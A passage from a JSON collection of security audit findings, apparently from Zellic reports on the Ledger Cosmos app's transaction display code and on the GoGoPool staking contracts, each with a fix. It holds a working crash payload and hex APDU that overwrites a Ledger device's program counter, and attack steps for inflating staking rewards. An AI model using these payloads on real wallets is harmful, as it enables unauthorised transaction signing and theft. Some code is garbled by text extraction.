whitespace or \u2019@\u2019 characters in src are included in the result if the dst buffer is long enough. Once the translation is complete, the dst buffer is terminated with a null character. The length of the src buffer is denoted by srcLen, and the length of the dst buffer is denoted by dstLen. The function constantly checks the bounds of the dst buffer by running the ASSERT_PTR_BOUNDS macro, which increments a count variable and com- pares it against dstLen: #define ASSERT_PTR_BOUNDS(count, dstLen) \\ count+); \\ if(count > dstLen) { \\ return parser_transaction_too_big; \\ } \\ /) [...))] parser_error_t tx_display_translation(char *dst, uint16_t dstLen, char *src, uint16_t srcLen) { /) [...))] uint8_t count = 0; /) [...))] } However, count is a uint8_t while dstLen is a uint16_t, meaning the pointer bounds Zellic Cosmos Network check will always pass if the lower eight bits of dstLen is 0 regardless of the value of the upper eight bits. A consequence of this potential integer overflow is that Unicode expansions may overflow the dst buffer. Note that there is no need to bypass any stack canary check; there is no reference to the CHECK_APP_CANARY() macro in the tx_display_translation or parser_screenPrint (which calls tx_display_translation) functions. An attacker could potentially exploit the dst buffer overflow to execute arbitrary code and thereby manipulate the text displayed on the screen or sign arbitrary transactions. In an exploit payload, for example, the single '\\xff' byte will be expanded into the six-byte string \u201c\\u00FF\u201d, which allows the attacker to quickly consume count. The following message triggers a crash: {1: [{2: \u201dZZZZ\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff \\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ff\\u00ffABCD\u201d }]} It defines a single screen without any title, and the contents include a lot of bytes that each expand into longer sequences of bytes, until the buffer overflows. The ABCD string at the end ends up overwriting the PC register on the Ledger, making it try to execute code at address 0x44434240 (the last bit on ARM is used to signal ARM or Thumb mode, otherwise it would be ...0x41). Do note that after our payload, the application will also write a single null byte. We are also limited to writing with ASCII values in the range 0x20 to 0x7F as other bytes will be escaped to hex characters. However, it is possible to do a partial overwrite of the original PC value provided that the last byte is a null byte. Zellic Cosmos Network During initial testing, we demonstrated this bug in the Speculos emulator, which runs the target application in QEMU, which has significantly worse security than the Ledger device. Namely, it has an executable stack by default and no address randomization (PIE/PIC). For example, consider the following APDU, which inserts the previously mentioned JSON message: 55020201f7a10181a10278f05a5a5a5ac3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3 bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bf c3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3 bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bf c3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3 bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bf c3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bfc3bf41424344 Entering the APDU would cause the crash in Figure 1 (where the screenshot is from debugging the \u201cNano S\u201d target). Figure 2 shows the backtrace (keep in mind that many functions are inlined). This demonstrates we have control of multiple register values, not just PC. Note again that we do not control all bytes in the payload because non-ASCII bytes get expanded. The easiest exploit path here would be to create some valid transac- tion that contains, for example, a MEMO element at the end that triggers the over- flow, making the app jump straight to the verification routine and immediately sign the transaction without any user input. As long as the validator comes up with the same CBOR data as the Ledger app signed, starting from a given TX, this signature will be accepted. However, jumping to this area is not necessarily easy to do. Some devices may support PIE/PIC, which complicates exploitation. When testing on real Ledger devices, we found that PIC address layout is static for a single appli- cation and even persists across reboots. Fortunately, the address depends on some unknowns such as the number of apps previously installed on the device, their sizes, and so forth. Installing the same app over and over seemed to increase the PIC address in a de- terministic way, but without any means of leaking this address, exploitation seems difficult. But an attacker only has to be lucky once. Zellic Cosmos Network Figure 1: A crafted APDU causes a buffer overflow on a Nano S. Figure 2: We obtain a backtrace from the buffer overflow shown in Figure 1. Zellic Cosmos Network Change the declaration of count to a uint16_t: parser_error_t tx_display_translation(char *dst, uint16_t dstLen, char *src, uint16_t srcLen) { /) [...))] uint8_t count = 0; uint16_t count = 0; /) [...))] } This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 17d26659. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Null-terminated strings enable trickery attacks", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: High Severity: High : High The tx_display_translation function copies the src buffer to dst, incrementing the pointer p each iteration, formatting bytes as desired. However, since the src buffer can contain a null byte, the while loop may be stopped early: parser_error_t tx_display_translation(char *dst, uint16_t dstLen, char *src, uint16_t srcLen) { MEMZERO(dst, dstLen); char *p = src; uint8_t count = 0; uint8_t verified_bytes = 0; while (*p) { utf8_int32_t tmp_codepoint = 0; p = utf8codepoint(p, &tmp_codepoint); /) [...))] } ///)) [...))] } Placing a null byte in a string that gets displayed may hide information. For example, consider the following transaction: data = {1: [{1: 'Chain id', 2: 'my-chain'}, {1: 'Account number', 2: '1'}, {1: 'Sequence', 2: '2'}, {1: 'Address', 2: 'cosmos1ulav3hsenupswqfkw2y3sup5kgtqwnvqa8eyhs', 4: True}, Zellic Cosmos Network {1: 'Public key', 2: '/cosmos.crypto.secp256k1.PubKey', 4: True}, {2: 'PubKey object', 3: 1, 4: True}, {1: 'Key', 2: '02EB DD7F E4FD EB76 DC8A 205E F65D 790C D30E 8A37 5A5C 2528 EB3A 923A F1FB 4D79 4D', 3: 2, 4: True}, {2: 'This transaction has 1 Message'}, {1: 'Message (1/1)', 2: '/cosmos.bank.v1beta1.MsgSend', 3: 1}, {2: 'MsgSend object', 3: 2}, {1: 'From address', 2: 'cosmos1ulav3hsenupswqfkw2y3sup5kgtqwnvqa8eyhs', 3: 3}, {1: 'To address', 2: 'cosmos1ejrf4cur2wy6kfurg9f2jppp2h3afe5h6pkh5t', 3: 3}, {1: 'Amount', 2: '10 ATOM', 3: 3}, {2: 'End of Message'}, {1: 'Memo', 2: 'GG\\0I hereby declare war on Arstotzka!'}, {1: 'Fees', 2: '0.002 ATOM'}, {1: 'Gas limit', 2: \u201d100'000\u201d, 4: True}, {1: 'Hash of raw bytes', 2: '9c043290109c270b2ffa9f3c0fa55a090c0125ebef881f7da53978dbf93f7385', 4: True} ] } The null byte in Memo would conceal the declaration of war from the country signing the transaction on the Ledger device as shown in Figure 3. Figure 3: The declaration of war against Arstotzka is hidden on the Ledger device. In general, important information may be concealed from the signer by inserting a null byte in a field that is displayed. Instead of checking if *p is null, check that we have not consumed the entire src buffer: Zellic Cosmos Network parser_error_t tx_display_translation(char *dst, uint16_t dstLen, char *src, uint16_t srcLen) { MEMZERO(dst, dstLen); char *p = src; uint8_t count = 0; uint8_t verified_bytes = 0; while ()p) { while (p < src + srcLen) { /) [...))] } /) [...))] } This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit fb90358d. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.3 Some bytes are not displayed", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: Medium Severity: High : High When tx_display_translation is encoding the src buffer to dst, any bytes less than 0x0F will be caught in the following branch: if (tmp_codepoint < 0x0F) { for (size_t i = 0; i < array_length(ascii_substitutions); i+)) { if ((char)tmp_codepoint =) ascii_substitutions[i].ascii_code) { *dst+) = '\\)'; ASSERT_PTR_BOUNDS(count, dstLen); *dst+) = ascii_substitutions[i].str; ASSERT_PTR_BOUNDS(count, dstLen); break; } } } /) [...))] However, if the byte is not found in the following ascii_substitutions array, nothing will be written to the buffer: static const ascii_subst_t ascii_substitutions[] = { {0x07, 'a'}, {0x08, 'b'}, {0x0C, 'f'}, {0x0A, 'n'}, {0x0D, 'r'}, {0x09, 't'}, {0x0B, 'v'}, {0x5C, '\\)'}, }; Any 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, or 0x0E bytes in the src buffer will not be represented in the dst buffer, potentially misleading users into signing a transaction they do not expect. Zellic Cosmos Network If the for loop does not find the ASCII substitution character, output it in decimal in \\xNN format: if (tmp_codepoint < 0x0F) { uint8_t found = 1; for (size_t i = 0; i < array_length(ascii_substitutions); i+)) { for (size_t i = 0; i < array_length(ascii_substitutions) |) (found = false); i+)) { if ((char)tmp_codepoint =) ascii_substitutions[i].ascii_code) { *dst+) = '\\)'; ASSERT_PTR_BOUNDS(count, dstLen); *dst+) = ascii_substitutions[i].str; ASSERT_PTR_BOUNDS(count, dstLen); break; } } if (!found) { /) Write out the value as a hex escape, \\xNN count += 4; if (count > dstLen) { return parser_unexpected_value; } snprintf(dst, 4, \u201d\\)x%.02X\u201d, tmp_codepoint); dst += 4; } } /) [...))] This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit fb90358d. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Backslash characters are not escaped", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: Medium Severity: Low : Low The tx_display_translation function is responsible for escaping bytes such as new- lines. The following is a mapping of a byte to the suffix, which is appended after a \u2019\\\u2019 character: static const ascii_subst_t ascii_substitutions[] = { {0x07, 'a'}, {0x08, 'b'}, {0x0C, 'f'}, {0x0A, 'n'}, {0x0D, 'r'}, {0x09, 't'}, {0x0B, 'v'}, {0x5C, '\\)'}, }; The following code performs the escaping that is done using the ascii_substitutions array: if (tmp_codepoint < 0x0F) { for (size_t i = 0; i < array_length(ascii_substitutions); i+)) { if ((char)tmp_codepoint =) ascii_substitutions[i].ascii_code) { *dst+) = '\\)'; ASSERT_PTR_BOUNDS(count, dstLen); *dst+) = ascii_substitutions[i].str; ASSERT_PTR_BOUNDS(count, dstLen); break; } } /) [...))] Because of the if (tmp_codepoint < 0x0F) condition, the 0x5C byte is never substi- tuted with \u201c\\\\\u201d. The backslash character (\u2019\\\u2019, ASCII 0x5C) will never be escaped, meaning two different inputs can have the same canonical, textual representation. For example, consider the following data: Zellic Cosmos Network {1: [ {1:\u201dChain id\u201d, 2: \u201dlol\\)u00FF\\xff\u201d} ]} The display would look as shown in Figure 4. Figure 4: The backslash character is not properly escaped. The \u201cfake\u201d and legitimately escaped strings are indistinguishable on the device. Update the branch logic such that the 0x5C byte is considered for substitution. if (tmp_codepoint < 0x0F) { if (tmp_codepoint < 0x0F |) tmp_codepoint =) 0x5C) { for (size_t i = 0; i < array_length(ascii_substitutions); i+)) { /) [...))] This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 17d26659. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.5 Buffer overflows in ledger-zxlib", + "labels": [ + "Zellic" + ], + "body": "Target: zxformat.h (ledger-cosmos dependency, ledger-zxlib) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational Though not specifically in scope, while browsing the ledger-zxlib dependency\u2019s source tree, we observed the following potential bugs. In the pageStringHex function, the outValueLen and lastChunkLen variables are uint16_t, meaning their maximum values are 65535 (0xffff): __Z_INLINE void pageStringHex(char *outValue, uint16_t outValueLen, const char *inValue, uint16_t inValueLen, uint8_t pageIdx, uint8_t *pageCount) { /) [...))] const uint16_t lastChunkLen = (msgHexLen % outValueLen); /) [...))] if (pageIdx < *pageCount) { if (lastChunkLen > 0 &) pageIdx =) *pageCount - 1) { array_to_hexstr(outValue, outValueLen, (const uint8_t*)inValue+(pageIdx * (outValueLen/2)), lastChunkLen/2); } else { array_to_hexstr(outValue, outValueLen, (const uint8_t*)inValue+(pageIdx * (outValueLen/2)), outValueLen/2); } } } The last parameter of the array_to_hexstr function is count, which is a uint8_t, mean- ing the lastChunkLen/2 and outValueLen/2 arguments \u2014 both of which have potential maximum values of 32767 (0xffff/2) \u2014 will be cast to uint8_t, which can store a max- imum of 255 (0xff). Though cast truncation is possible here, it would likely not be exploitable since the count controls the number of bytes written to the dst buffer. However, in array_to_hexstr, the following size check also contains an integer over- flow bug: Zellic Cosmos Network __Z_INLINE uint32_t array_to_hexstr(char *dst, uint16_t dstLen, const uint8_t *src, uint8_t count) { MEMZERO(dst, dstLen); if (dstLen < (count * 2 + 1)) { return 0; } const char hexchars[] = \u201d0123456789abcdef\u201d; for (uint8_t i = 0; i < count; i+), src+)) { *dst+) = hexchars[*src >) 4u]; *dst+) = hexchars[*src & 0x0Fu]; } *dst = 0; /) terminate string return (uint32_t) (count * 2); } Any count value greater than 127 ((0xf f \u2212 1)/2) will result in the count \u2217 2 + 1 calcula- tion overflowing, allowing the dst buffer length check to be bypassed and potentially enabling a dst buffer overflow. The pageStringHex function does not appear to be used by ledger-cosmos, so it does not present any immediate risk. Note that the array_to_hexstr function is used once, but has a hardcoded count ar- gument that is not high enough to overflow, so the bugs will not be triggered in this case: char buf[18] = {0}; array_to_hexstr(buf, sizeof(buf), (uint8_t *) &swapped, 8); Add checks to prevent the cast truncation and integer overflow. A fix was added to the zxlib dependency in commit 72bed6ab. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.6 Stack canary is chosen at compile time", + "labels": [ + "Zellic" + ], + "body": "Target: ledger-cosmos Category: Business Logic Likelihood: N/A Severity: Informational : Informational The stack canary (checked using the CHECK_APP_CANARY() macro) is simply a hardcoded value 0xDEAD0031: #define APP_STACK_CANARY_MAGIC 0xDEAD0031 #pragma clang diagnostic push #pragma ide diagnostic ignored \u201dEndlessLoop\u201d void handle_stack_overflow() { zemu_log(\u201d!!!!!!!!!!!!!!!!!!!!!! CANARY TRIGGERED!!! STACK OVERFLOW DETECTED\\n\u201d); #if defined (TARGET_NANOS) |) defined(TARGET_NANOX) |) defined(TARGET_NANOS2) io_seproxyhal_se_reset(); #else while (1); #endif } #pragma clang diagnostic pop __Z_UNUSED void check_app_canary() { #if defined (TARGET_NANOS) |) defined(TARGET_NANOX) |) defined(TARGET_NANOS2) if (app_stack_canary !) APP_STACK_CANARY_MAGIC) handle_stack_overflow(); #endif } /) [...))] An attacker can predict the value and potentially exploit buffer overflow vulnerabili- ties, bypassing this check. Zellic Cosmos Network While the canary may help detect accidental buffer overflows, it provides little miti- gation against intentional buffer overflow exploits. Consider choosing a random stack canary at runtime for additional safety. This issue has been acknowledged by Cosmos Network. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.7 Pointer bounds assertion after write leads to buffer over- flow", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The ASSERT_PTR_BOUNDS macro increments count then checks that the count is within the bounds of the buffer: #define ASSERT_PTR_BOUNDS(count, dstLen) \\ count+); \\ if(count > dstLen) { \\ return parser_transaction_too_big; \\ } \\ However, the assertion is always placed after writing a byte (i.e., the code writes be- fore checking the bounds), potentially causing a buffer overflow. A one-byte buffer overflow would likely be unexploitable. Ideally the tx_display_tr anslation function would return the parser_transaction_too_big error and cause the destination buffer to be unused, but the return value is unused per Finding 3.10. Check that the buffer is large enough (that the pointer is in bounds) before writing each byte. This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 17d26659. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.8 Exception handler variables missing volatile keyword", + "labels": [ + "Zellic" + ], + "body": "Target: crypto.c, apdu_handler.c (ledger-cosmos) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational Per Ledger, one of the common pitfalls is in the exception handling. Their recommen- dation is When modifying variables within a try / catch / finally context, always declare those variables volatile. This will prevent the compiler from making invalid as- sumptions when optimizing your code because it doesn\u2019t understand how our exception model works. Ledger has implemented exception handling through OS support, using os_longjmp to jump to magic addresses that the OS intercepts and translates. This is not very transparent to an optimizing compiler and could turn into a compile-time mistake if the code is not handling it. The examples mentioned in the troubleshooting guide are for changing the status of an error object during the catch context, then emitting it during finally or using it later. The same code pattern emerges in a few places in the ledger-cosmos repository. For example, crypto.c variable err: zxerr_t crypto_extractPublicKey(const uint32_t path[HDPATH_LEN_DEFAULT], uint8_t *pubKey, uint16_t pubKeyLen) { cx_ecfp_public_key_t cx_publicKey; cx_ecfp_private_key_t cx_privateKey; uint8_t privateKeyData[32]; if (pubKeyLen < PK_LEN_SECP256K1) { return zxerr_invalid_crypto_settings; } zxerr_t err = zxerr_ok; Zellic Cosmos Network BEGIN_TRY { TRY { os_perso_derive_node_bip32(CX_CURVE_256K1, path, HDPATH_LEN_DEFAULT, privateKeyData, NULL); cx_ecfp_init_private_key(CX_CURVE_256K1, privateKeyData, 32, &cx_privateKey); cx_ecfp_init_public_key(CX_CURVE_256K1, NULL, 0, &cx_publicKey); cx_ecfp_generate_pair(CX_CURVE_256K1, &cx_publicKey, &cx_privateKey, 1); } CATCH_OTHER(e) { err = zxerr_ledger_api_error; } FINALLY { MEMZERO(&cx_privateKey, sizeof(cx_privateKey)); MEMZERO(privateKeyData, 32); } } END_TRY; if (err !) zxerr_ok) { return err; } /) More code here apdu_handler.c variable sw: void handleApdu(volatile uint32_t *flags, volatile uint32_t *tx, uint32_t rx) { uint16_t sw = 0; BEGIN_TRY { TRY { /)...)) Zellic Cosmos Network } CATCH(EXCEPTION_IO_RESET) { } THROW(EXCEPTION_IO_RESET); CATCH_OTHER(e) { switch (e & 0xF000) { case 0x6000: case APDU_CODE_OK: sw = e; break; default: sw = 0x6800 | (e & 0x7FF); break; } G_io_apdu_buffer[*tx] = sw >) 8; G_io_apdu_buffer[*tx + 1] = sw; *tx += 2; } FINALLY { } } END_TRY; } With just minor optimizations enabled, the compiler can be confused and optimize away variable modifications that do not seem to have any clear side effects. These bugs usually surface up near the end of the development cycle, when compiler opti- mizations are enabled to save on memory/flash footprint. The result could be that an actual error status is masked, and the application continues on like if it was successful. In the case of the crypto.c example, this would lead to the wrong public key being calculated in crypto_fillAddress(). Do also note that the entire APDU handler runs everything inside a big exception han- dler loop, which means it can return there at any point, and great care has to be taken when accessing globals there. An example where it could return early is in crypto.c It is recom- where the function cx_hash_sha256() is called outside of a try catch. Zellic Cosmos Network mended to use a function like cx_hash_no_throw instead there to avoid a very deep return back to the APDU handler. Mark variables that can be changed inside exception handlers with the volatile key- word. Use functions like cx_hash_no_throw(), then return gracefully on error, or wrap error-throwing functions like cx_hash_sha256() in TRY/EXCEPT blocks where used. This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit fb90358d. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.9 Incorrect size check when encoding Unicode", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The following code is part of the tx_display_translation function and converts a se- quence of Unicode codepoints into a string of escaped UTF-8 characters: *dst+) = '\\)'; ASSERT_PTR_BOUNDS(count, dstLen); uint8_t bytes_to_print = 8; int32_t swapped = ZX_SWAP(tmp_codepoint); if (tmp_codepoint > 0xFFFF) { *dst+) = 'U'; ASSERT_PTR_BOUNDS(count, dstLen); } else { *dst+) = 'u'; ASSERT_PTR_BOUNDS(count, dstLen); bytes_to_print = 4; swapped = (swapped >) 16) & 0xFFFF; } if (dstLen < bytes_to_print) { return parser_unexpected_value; } char buf[18] = {0}; array_to_hexstr(buf, sizeof(buf), (uint8_t *) &swapped, 8); for (int i = 0; i < bytes_to_print; i+)) { *dst+) = (buf[i] >) 'a' &) buf[i] <) 'z') ? (buf[i] - 32) : buf[i]; ASSERT_PTR_BOUNDS(count, dstLen); } The following size check does not take into account the number of bytes already writ- ten to the dst buffer: Zellic Cosmos Network if (dstLen < bytes_to_print) { return parser_unexpected_value; } The following line in the for loop when copying the buf buffer to the dst buffer would catch a buffer overflow: ASSERT_PTR_BOUNDS(count, dstLen); So, the buffer overflow would be unexploitable. We recommend changing the size check to account for the number of bytes already written to the buffer: if (dstLen < bytes_to_print) { if (dstLen < bytes_to_print + count) { return parser_unexpected_value; } This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 5a7c3cfe. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.10 Return value of tx_display_translation is ignored", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The return value of tx_display_translation is ignored. The function returns a parse r_error_t if any abnormal behavior occurs: parser_error_t tx_display_translation(char *dst, uint16_t dstLen, char *src, uint16_t srcLen); Errors may not be reported. Catch the return errors, if any, and handle them as desired. This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 17d26659. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.11 Missing pointer bounds checks in tx_display_translation", + "labels": [ + "Zellic" + ], + "body": "Target: tx_display.c (ledger-cosmos) Category: Coding Mistakes Likelihood: N/A Severity: Informational : Informational The following code is missing pointer bounds checks when writing the last two bytes: if (src[srcLen - 1] =) ' ' |) src[srcLen - 1] =) '@') { if (src[dstLen - 1] + 1 > dstLen) { return parser_unexpected_value; } *dst+) = '@'; } /) Terminate string *dst = 0; Also, the check inside the if statement seems to not do anything useful. It checks if the ASCII value of the last byte is at least 1 larger than the length of the destination buffer, and errors if it is. This is likely a coding mistake. There is a potential for a two-byte buffer overflow. However, the bytes are not fully controlled, and it is likely unexploitable. Add pointer bounds assertions: if (src[srcLen - 1] =) ' ' |) src[srcLen - 1] =) '@') { if (src[dstLen - 1] + 1 > dstLen) { return parser_unexpected_value; } ASSERT_PTR_BOUNDS(count, dstLen); *dst+) = '@'; } Zellic Cosmos Network /) Terminate string ASSERT_PTR_BOUNDS(count, dstLen); *dst = 0; This issue has been acknowledged by Cosmos Network, and a fix was implemented in commit 5a7c3cfe. Zellic Cosmos Network", + "html_url": "https://github.com/Zellic/publications/blob/master/Cosmos SDK Sign Mode Textual - Zellic Audit Report.pdf" + }, + { + "title": "3.1 The transferAVAX function allows arbitrary transfers", + "labels": [ + "Zellic" + ], + "body": "Target: Vault.sol Category: Business Logic Likelihood: Medium Severity: High : High The transferAVAX function is used to perform transfers of avax between two registered contracts. function transferAVAX( string memory fromContractName, string memory toContractName, uint256 amount ) external onlyRegisteredNetworkContract { /) Valid Amount? if (amount =) 0) { revert InvalidAmount(); } /) Emit transfer event emit AVAXTransfer(fromContractName, toContractName, amount); /) Make sure the contracts are valid, will revert if not getContractAddress(fromContractName); getContractAddress(toContractName); /) Verify there are enough funds if (avaxBalances[fromContractName] < amount) { revert InsufficientContractBalance(); } /) Update balances avaxBalances[fromContractName] = avaxBalances[fromContractName] - amount; avaxBalances[toContractName] = avaxBalances[toContractName] + amount; } Zellic Multisig Labs The current checks ensure that the msg.sender is a registeredNetworkContract; how- ever, the function lacks a check on whether the msg.sender actually calls the function or not. Due to the fact that fromContractName can be an arbitrary address, a presumably ma- licious registeredNetwork contract can drain the avax balances of all the other regis- tered contracts. We recommend removing the fromContractName parameter altogether and ensuring that the funds can only be transferred by the caller of the function, msg.sender. function transferAVAX( /) @audit-info doesn't exist in rocketvault string memory fromContractName, string memory toContractName, uint256 amount ) external onlyRegisteredNetworkContract { /) Valid Amount? if (amount =) 0) { revert InvalidAmount(); } /) Emit transfer event emit AVAXTransfer(msg.sender, toContractName, amount); /) Make sure the contracts are valid, will revert if not getContractAddress(msg.sender); getContractAddress(toContractName); /) Verify there are enough funds if (avaxBalances[msg.sender] < amount) { revert InsufficientContractBalance(); } /) Update balances avaxBalances[msg.sender] = avaxBalances[msg.sender] - amount; avaxBalances[toContractName] = avaxBalances[toContractName] + amount; } Zellic Multisig Labs The issue has been fixed by Multisig Labs in commit 84211f. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.2 Ocyticus does not include the Staking pause", + "labels": [ + "Zellic" + ], + "body": "Target: Ocyticus, Staking Category: Business Logic Likelihood: Medium Severity: High : High The pauseEverything and resumeEverything functions are used to restrict access to important functions. function pauseEverything() external onlyDefender { ProtocolDAO dao = ProtocolDAO(getContractAddress(\u201cProtocolDAO\u201d)); dao.pauseContract(\u201cTokenggAVAX\u201d); dao.pauseContract(\u201cMinipoolManager\u201d); disableAllMultisigs(); } ///)) @notice Reestablish all contract's abilities ///)) @dev Multisigs will need to be enabled seperately, we dont know which ones to enable function resumeEverything() external onlyDefender { ProtocolDAO dao = ProtocolDAO(getContractAddress(\u201cProtocolDAO\u201d)); dao.resumeContract(\u201cTokenggAVAX\u201d); dao.resumeContract(\u201cMinipoolManager\u201d); } Apart from the TokenGGAvax and MinipoolManager, the Staking contract also makes use of the whenNotPaused modifier for its important functions. The paused state, will, however, not trigger at the same time with the pauseEverything call, since the Staking contract is omitted here, both for pausing and resuming. Should an emergency arise, pauseEverything will be called. In this case, Staking will be omitted, which could put user funds in danger. We recommend ensuring that the Staking contract is also paused in the pauseEveryt hing function as well as un-paused in the resumeEverything function. Zellic Multisig Labs function pauseEverything() external onlyDefender { ProtocolDAO dao = ProtocolDAO(getContractAddress(\u201cProtocolDAO\u201d)); dao.pauseContract(\u201cTokenggAVAX\u201d); dao.pauseContract(\u201cMinipoolManager\u201d); dao.pauseContract(\u201cStaking\u201d); disableAllMultisigs(); } ///)) @notice Reestablish all contract's abilities ///)) @dev Multisigs will need to be enabled seperately, we dont know which ones to enable function resumeEverything() external onlyDefender { ProtocolDAO dao = ProtocolDAO(getContractAddress(\u201cProtocolDAO\u201d)); dao.resumeContract(\u201cTokenggAVAX\u201d); dao.resumeContract(\u201cMinipoolManager\u201d); dao.resumeContract(\u201cStaking\u201d); } The issue has been fixed by Multisig Labs in commit dbc499. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.3 The reward amount manipulation", + "labels": [ + "Zellic" + ], + "body": "Target: ClaimNodeOp.sol Category: Business Logic Likelihood: Medium Severity: High : High s A staker is eligible for the upcoming rewards cycle if they have staked their tokens for a long enough period of time. The reward amount is distributed in proportion to the amount of funds staked by the user from the total amount of funds staked by all users who claim the reward. But since the rewardsStartTime is the time of creation of only the first pool, and during the reward calculations all staked funds are taken into account, even if they have not yet been blocked and can be withdrawn, the attack described below is possible. The attack scenario: 1. An attacker stakes ggp tokens and creates a minipool with a minimum avaxAssi gnmentRequest value. 2. The multisig initiates the staking process by calling the claimAndInitiateStaking function. 3. Wait for the time of distribution of rewards. 4. Before the reward distribution process begins, the attacker creates a new minipool with the maximum avaxAssignmentRequest value. 5. Initiate the reward distribution process. 6. Immediately after that, the attacker cancels the minipool with cancelMinipool function before the claimAndInitiateStaking function call and returns most part of their staked funds. The attacker can increase their reward portion without actually staking their own funds. Take into account only the funds actually staked, or check that all minipools have been launched. Zellic Multisig Labs The issue has been fixed by Multisig Labs in commits c90b2f and f49931. Zellic Multisig Labs", + "html_url": "https://github.com/Zellic/publications/blob/master/GoGoPool - Zellic Audit Report.pdf" + }, + { + "title": "3.4 Network registered contracts have absolute storage control", + "labels": [ + "Zellic" + ], + "body": "Target: Project-wide Category: Business Logic Likelihood: Low Severity: High : High The network-registered contracts have absolute control over the storage that all the contracts are associated with through the Storage contract. This is inherent due to the overall design of the protocol, which makes use of a single Storage contract eliminating the need of local storage. For that reason any registeredContract can update any storage slot even if it \u201cbelongs\u201d to another contract. modifier onlyRegisteredNetworkContract() { if (booleanStorage[keccak256(abi.encodePacked(\u201ccontract.exists\u201d, msg.sender))] =) false &) msg.sender !) guardian) { revert InvalidOrOutdatedContract(); } _; } /) ...)) function 